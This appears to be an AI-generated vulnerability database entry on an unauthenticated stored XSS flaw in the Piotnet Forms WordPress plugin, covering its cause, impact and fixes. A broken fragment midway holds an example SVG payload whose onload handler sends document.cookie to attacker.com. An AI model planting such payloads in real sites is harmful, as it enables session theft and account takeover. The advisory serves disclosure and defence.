
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-96227 is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability via file upload in the Piotnet Forms WordPress plugin. The plugin fails to authenticate or validate form-submission file-upload requests and permits browser-renderable file types (such as HTML or SVG) to be stored on the server, enabling unauthenticated attackers to plant malicious JavaScript that executes in the site's origin when any user opens the uploaded file. All versions through 1.0.30 are affected. The vulnerability was publicly disclosed on October 9, 2026, and carries a CVSS v3.1 base score of 8.8 (High) (WPScan, Github Advisory).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin's form-submission file-upload endpoint lacks both authentication checks and server-side file type validation, allowing any unauthenticated network attacker to upload browser-renderable files (e.g., .html, .svg) containing arbitrary JavaScript payloads. Because the uploaded files are stored and served from the site's origin, the malicious script executes in the victim's browser within the WordPress site's security context whenever the file URL is accessed. The vulnerability was discovered and reported by researcher Claude Ndanda (TrixX), with a proof-of-concept scheduled for public release on November 9, 2026 (WPScan, Github Advisory).
Successful exploitation allows an unauthenticated attacker to persistently store malicious JavaScript that executes in the context of the WordPress site for any user who opens the uploaded file. This can result in session cookie theft, credential harvesting, unauthorized actions performed on behalf of authenticated users (including administrators), and arbitrary modification of page content. The high confidentiality, integrity, and availability impact scores reflect the potential for full account takeover if an administrator's session is hijacked (Github Advisory, WPScan).
There is currently no public proof-of-concept exploit available; WPScan has indicated the PoC will be released on November 9, 2026, to allow time for users to update. No in-the-wild exploitation has been observed, and the CVE status is listed as "Deferred" with no CISA KEV catalog entry. The EPSS score is approximately 0.17–0.28%, placing it in the lower percentiles for near-term exploitation probability (WPScan, Github Advisory).
/wp-content/plugins/piotnetforms/).<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?c='+document.cookie)"/>.html, .svg, or other browser-renderable files with JavaScript content in the WordPress uploads directory (e.g., /wp-content/uploads/) that were not created by legitimate site users.The primary remediation is to update the Piotnet Forms plugin to a version newer than 1.0.30 as soon as a patched release becomes available. In the interim, administrators should consider disabling the plugin entirely if file upload functionality is not essential. Additional hardening measures include implementing server-side file type validation to block browser-renderable file types (HTML, SVG, etc.) from being uploaded, configuring the web server to serve uploaded files with a Content-Disposition: attachment header to prevent inline rendering, and deploying a Web Application Firewall (WAF) to detect and block malicious file upload attempts (WPScan, Github Advisory).
Wordfence included this vulnerability in its weekly WordPress vulnerability report for October 5–11, 2026, highlighting it as a notable unauthenticated stored XSS issue. The vulnerability was discussed on Mastodon by security community accounts including @thehackerwire and @offseq, and a video walkthrough of the exploitation technique was published by undercodetesting.com. Community sentiment reflects moderate concern given the unauthenticated attack vector, though the absence of a public PoC and active exploitation has kept urgency at a measured level.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."